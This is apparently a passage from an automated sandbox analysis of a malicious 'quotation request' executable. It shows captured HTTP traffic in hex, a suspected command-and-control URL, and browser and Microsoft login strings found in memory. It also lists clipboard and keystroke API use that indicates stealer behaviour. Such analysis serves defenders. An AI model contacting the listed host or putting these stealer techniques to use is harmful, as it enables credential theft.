72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 05 Dec 2024 13:09:12 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingETag: W/"66cd104a-b96"Content-Encoding: gzipData Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f 17 de 44 ff 37 28 b7 c7 cd 9d 29 bd 13 bd 53 74 17 91 d5 0f 16 37 b9 4a cd 61 81 e8 f6 01 b1 fe a9 d7 77 ea 47 2e e5 15 7a 7c 51 12 ca 9f 26 38 55 16 eb 6a 81 12 58 42 5d b7 f4 af 4f dc 3b 67 7d da db 7c 35 c5 17 bd 40 9c f8 52 6f 26 69 3c e8 62 9d db 05 0a 29 fd 7e c2 4b 6d 41 35 6e b6 2a 29 aa 35 e4 9c 12 ca 07 35 fd aa 41 5a ad d9 2c 90 00 f7 2f 97 73 a4 76 ae 11 57 72 aa a8 74 dd bb d8 16 db 02 31 4a 9f 9d 80 eb ce 3b b5 b3 e6 84 5e ea 6c 4a ee b5 aa aa d8 28 ab 3f 7d ea 07 69 af bd 9b 16 a6 c2 e9 ae 6e 07 60 aa 79 71 c6 cb 8a b2 c4 1b 93 42 9a 20 98 fc 9b 8a 33 95 ea b7 d5 85 5a b7 a3 16 a8 63 4e 71 45 95 99 5e 78 cc ab 8c fd 24 eb 57 00 2c 9e 92 7a 9c ae 6b 53 9f 01 93 98 33 1e 9e 00 27 a4 1e 78 50 75 05 4b 74 06 cd b2 24 11 e2 04 3a 21 f5 d0 66 97 24 ba 69 ce dd 55 77 ca 3f b5 3a 21 0d 61 c2 72 e2 12 56 46 f7 e8 bc af 2a 26 f8 50 0d c3 0a 8f 94 1e 9b ea 26 a9 8b 6d 9b 46 57 ce 67 f6 43 ea ae ef 97 21 3b a9 e6 ae c8 19 e1 63 91 43 3b d0 78 70 87 9f 55 61 66 8c 1d 4b 70 5a ae fe 58 c4 13 b5 b0 ef 7a ad e7 55 91 ea 52 1d 31 6b 2e cb cd 31 c6 5a eb 60 3f df eb 63 56 43 c1 34 e8 a4 9a b2 da 6c fa e1 cc b8 10 2d 20 fb c8 bf 76 bb dd 5c f0 d9 84 ef 5e cb f9 d0 78 97 f3 fe 3c 58 ba 06 dc f6 e4 b4 d8 a3 a4 54 4d b3 f2 c6 fd e7 b5 3d 7a ca aa cd a1 23 9e 01 ca 9e 7a 42 be dc 71 67 5b 65 00 c1 89 b0 5f f7 c3 59 0f 6e 77 c7 a4 76 32 85 3f ef 74 d3 66 2e 29 ea a4 d4 de 80 78 d8 94 15 20 72 6b b7 8b f9 fc 70 38 90 83 20 a6 5e cf 39 a5 74 0e aa 47 49 77 ac bd 32 0f 2b 8f 22 8a 24 e3 ee 19 98 83 2f b3 e5 56 d9 7c 98 cc d2 95 f7 4e 52 1f ba 6b 90 50 a8 d0 80 c4 71 88 19 63 84 fa 02 71 3f c2 f0 b8 ef 6d 84 44 cc 1d 17 45 4e fa 26 42 8c c5 84 46 a2 fb 82 74 4b 47 51 e3 10 ad 86 a8 d5 e0 9e 2f ef 78 c0 49 20 25 8a 69 82 a5 4f
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 05 Dec 2024 13:09:14 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingETag: W/"66cd104a-b96"Content-Encoding: gzipData Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f 17 de 44 ff 37 28 b7 c7 cd 9d 29 bd 13 bd 53 74 17 91 d5 0f 16 37 b9 4a cd 61 81 e8 f6 01 b1 fe a9 d7 77 ea 47 2e e5 15 7a 7c 51 12 ca 9f 26 38 55 16 eb 6a 81 12 58 42 5d b7 f4 af 4f dc 3b 67 7d da db 7c 35 c5 17 bd 40 9c f8 52 6f 26 69 3c e8 62 9d db 05 0a 29 fd 7e c2 4b 6d 41 35 6e b6 2a 29 aa 35 e4 9c 12 ca 07 35 fd aa 41 5a ad d9 2c 90 00 f7 2f 97 73 a4 76 ae 11 57 72 aa a8 74 dd bb d8 16 db 02 31 4a 9f 9d 80 eb ce 3b b5 b3 e6 84 5e ea 6c 4a ee b5 aa aa d8 28 ab 3f 7d ea 07 69 af bd 9b 16 a6 c2 e9 ae 6e 07 60 aa 79 71 c6 cb 8a b2 c4 1b 93 42 9a 20 98 fc 9b 8a 33 95 ea b7 d5 85 5a b7 a3 16 a8 63 4e 71 45 95 99 5e 78 cc ab 8c fd 24 eb 57 00 2c 9e 92 7a 9c ae 6b 53 9f 01 93 98 33 1e 9e 00 27 a4 1e 78 50 75 05 4b 74 06 cd b2 24 11 e2 04 3a 21 f5 d0 66 97 24 ba 69 ce dd 55 77 ca 3f b5 3a 21 0d 61 c2 72 e2 12 56 46 f7 e8 bc af 2a 26 f8 50 0d c3 0a 8f 94 1e 9b ea 26 a9 8b 6d 9b 46 57 ce 67 f6 43 ea ae ef 97 21 3b a9 e6 ae c8 19 e1 63 91 43 3b d0 78 70 87 9f 55 61 66 8c 1d 4b 70 5a ae fe 58 c4 13 b5 b0 ef 7a ad e7 55 91 ea 52 1d 31 6b 2e cb cd 31 c6 5a eb 60 3f df eb 63 56 43 c1 34 e8 a4 9a b2 da 6c fa e1 cc b8 10 2d 20 fb c8 bf 76 bb dd 5c f0 d9 84 ef 5e cb f9 d0 78 97 f3 fe 3c 58 ba 06 dc f6 e4 b4 d8 a3 a4 54 4d b3 f2 c6 fd e7 b5 3d 7a ca aa cd a1 23 9e 01 ca 9e 7a 42 be dc 71 67 5b 65 00 c1 89 b0 5f f7 c3 59 0f 6e 77 c7 a4 76 32 85 3f ef 74 d3 66 2e 29 ea a4 d4 de 80 78 d8 94 15 20 72 6b b7 8b f9 fc 70 38 90 83 20 a6 5e cf 39 a5 74 0e aa 47 49 77 ac bd 32 0f 2b 8f 22 8a 24 e3 ee 19 98 83 2f b3 e5 56 d9 7c 98 cc d2 95 f7 4e 52 1f ba 6b 90 50 a8 d0 80 c4 71 88 19 63 84 fa 02 71 3f c2 f0 b8 ef 6d 84 44 cc 1d 17 45 4e fa 26 42 8c c5 84 46 a2 fb 82 74 4b 47 51 e3 10 ad 86 a8 d5 e0 9e 2f ef 78 c0 49 20 25 8a 69 82 a5 4f
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 05 Dec 2024 13:09:17 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingETag: W/"66cd104a-b96"Content-Encoding: gzipData Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f 17 de 44 ff 37 28 b7 c7 cd 9d 29 bd 13 bd 53 74 17 91 d5 0f 16 37 b9 4a cd 61 81 e8 f6 01 b1 fe a9 d7 77 ea 47 2e e5 15 7a 7c 51 12 ca 9f 26 38 55 16 eb 6a 81 12 58 42 5d b7 f4 af 4f dc 3b 67 7d da db 7c 35 c5 17 bd 40 9c f8 52 6f 26 69 3c e8 62 9d db 05 0a 29 fd 7e c2 4b 6d 41 35 6e b6 2a 29 aa 35 e4 9c 12 ca 07 35 fd aa 41 5a ad d9 2c 90 00 f7 2f 97 73 a4 76 ae 11 57 72 aa a8 74 dd bb d8 16 db 02 31 4a 9f 9d 80 eb ce 3b b5 b3 e6 84 5e ea 6c 4a ee b5 aa aa d8 28 ab 3f 7d ea 07 69 af bd 9b 16 a6 c2 e9 ae 6e 07 60 aa 79 71 c6 cb 8a b2 c4 1b 93 42 9a 20 98 fc 9b 8a 33 95 ea b7 d5 85 5a b7 a3 16 a8 63 4e 71 45 95 99 5e 78 cc ab 8c fd 24 eb 57 00 2c 9e 92 7a 9c ae 6b 53 9f 01 93 98 33 1e 9e 00 27 a4 1e 78 50 75 05 4b 74 06 cd b2 24 11 e2 04 3a 21 f5 d0 66 97 24 ba 69 ce dd 55 77 ca 3f b5 3a 21 0d 61 c2 72 e2 12 56 46 f7 e8 bc af 2a 26 f8 50 0d c3 0a 8f 94 1e 9b ea 26 a9 8b 6d 9b 46 57 ce 67 f6 43 ea ae ef 97 21 3b a9 e6 ae c8 19 e1 63 91 43 3b d0 78 70 87 9f 55 61 66 8c 1d 4b 70 5a ae fe 58 c4 13 b5 b0 ef 7a ad e7 55 91 ea 52 1d 31 6b 2e cb cd 31 c6 5a eb 60 3f df eb 63 56 43 c1 34 e8 a4 9a b2 da 6c fa e1 cc b8 10 2d 20 fb c8 bf 76 bb dd 5c f0 d9 84 ef 5e cb f9 d0 78 97 f3 fe 3c 58 ba 06 dc f6 e4 b4 d8 a3 a4 54 4d b3 f2 c6 fd e7 b5 3d 7a ca aa cd a1 23 9e 01 ca 9e 7a 42 be dc 71 67 5b 65 00 c1 89 b0 5f f7 c3 59 0f 6e 77 c7 a4 76 32 85 3f ef 74 d3 66 2e 29 ea a4 d4 de 80 78 d8 94 15 20 72 6b b7 8b f9 fc 70 38 90 83 20 a6 5e cf 39 a5 74 0e aa 47 49 77 ac bd 32 0f 2b 8f 22 8a 24 e3 ee 19 98 83 2f b3 e5 56 d9 7c 98 cc d2 95 f7 4e 52 1f ba 6b 90 50 a8 d0 80 c4 71 88 19 63 84 fa 02 71 3f c2 f0 b8 ef 6d 84 44 cc 1d 17 45 4e fa 26 42 8c c5 84 46 a2 fb 82 74 4b 47 51 e3 10 ad 86 a8 d5 e0 9e 2f ef 78 c0 49 20 25 8a 69 82 a5 4f
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 05 Dec 2024 13:09:20 GMTContent-Type: text/html; charset=utf-8Content-Length: 2966Connection: closeVary: Accept-EncodingETag: "66cd104a-b96"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 52 6f 62 6f 74 6f 2c 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 41 72 69 61 6c 2c 0a 09 09 09 09 09 22 4e 6f 74 6f 20 53 61 6e 73 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 2c 20 22 41 70 70 6c 65 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 2c 20 22 53 65 67 6f 65 20 55 49 20 45 6d 6f 6a 69 22 2c 20 22 53 65 67 6f 65 20 55 49 20 53 79 6d 62 6f 6c 22 2c 0a 09 09 09 09 09 22 4e 6f 74 6f 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 3b 0a 09 09 09 09 74 65 78 74 2d 73 68 61 64 6f 77 3a 20 30 70 78 20 31 70 78 20 31 70 78 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 37 35 29 3b 0a 09 09 09 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 09 09 09 7d 0a 0a 09 09 09 68 31 20 7b 0a 09 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 2e 34 35 65 6d 3b 0a 09 09 09 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 37 30 30 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 2d 30 2e 30 32 65 6d 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 33 30 70 78 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 6
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 05 Dec 2024 13:09:27 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6b(HML),I310Q/Qp/K&T$dCAfAyyyr0.a30
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 05 Dec 2024 13:09:29 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6b(HML),I310Q/Qp/K&T$dCAfAyyyr0.a30
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 05 Dec 2024 13:09:32 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6b(HML),I310Q/Qp/K&T$dCAfAyyyr0.a30
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 05 Dec 2024 13:09:35 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                Source: rHureRETbmkd.exe, 00000007.00000002.3526070601.000000000502B000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.rysanekbeton.cloud
                Source: rHureRETbmkd.exe, 00000007.00000002.3526070601.000000000502B000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.rysanekbeton.cloud/3g99/
                Source: rasdial.exe, 00000006.00000002.3526559861.0000000007DFE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
                Source: rasdial.exe, 00000006.00000002.3526559861.0000000007DFE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
                Source: rasdial.exe, 00000006.00000002.3524996030.00000000062B2000.00000004.10000000.00040000.00000000.sdmp, rHureRETbmkd.exe, 00000007.00000002.3524624820.0000000003A42000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css
                Source: rasdial.exe, 00000006.00000002.3526559861.0000000007DFE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
                Source: rasdial.exe, 00000006.00000002.3526559861.0000000007DFE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
                Source: rasdial.exe, 00000006.00000002.3526559861.0000000007DFE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/ac/?q=
                Source: rasdial.exe, 00000006.00000002.3526559861.0000000007DFE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtab
                Source: rasdial.exe, 00000006.00000002.3526559861.0000000007DFE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
                Source: rasdial.exe, 00000006.00000002.3523647021.0000000003054000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
                Source: rasdial.exe, 00000006.00000002.3523647021.0000000003054000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
                Source: rasdial.exe, 00000006.00000002.3523647021.0000000003054000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
                Source: rasdial.exe, 00000006.00000002.3523647021.0000000003054000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
                Source: rasdial.exe, 00000006.00000002.3523647021.0000000003054000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
                Source: rasdial.exe, 00000006.00000002.3523647021.0000000003054000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
                Source: rasdial.exe, 00000006.00000003.2183631532.0000000007DD3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
                Source: rasdial.exe, 00000006.00000002.3526559861.0000000007DFE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.ecosia.org/newtab/
                Source: rasdial.exe, 00000006.00000002.3524996030.0000000005946000.00000004.10000000.00040000.00000000.sdmp, rasdial.exe, 00000006.00000002.3526448802.0000000007B50000.00000004.00000800.00020000.00000000.sdmp, rHureRETbmkd.exe, 00000007.00000002.3524624820.00000000030D6000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.google.com
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_00324164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,0_2_00324164
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_00324164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,0_2_00324164
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_00323F66 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,0_2_00323F66
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_0031001C GetKeyboardState,SetKeyboardState,GetAsyncKeyState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,0_2_0031001C
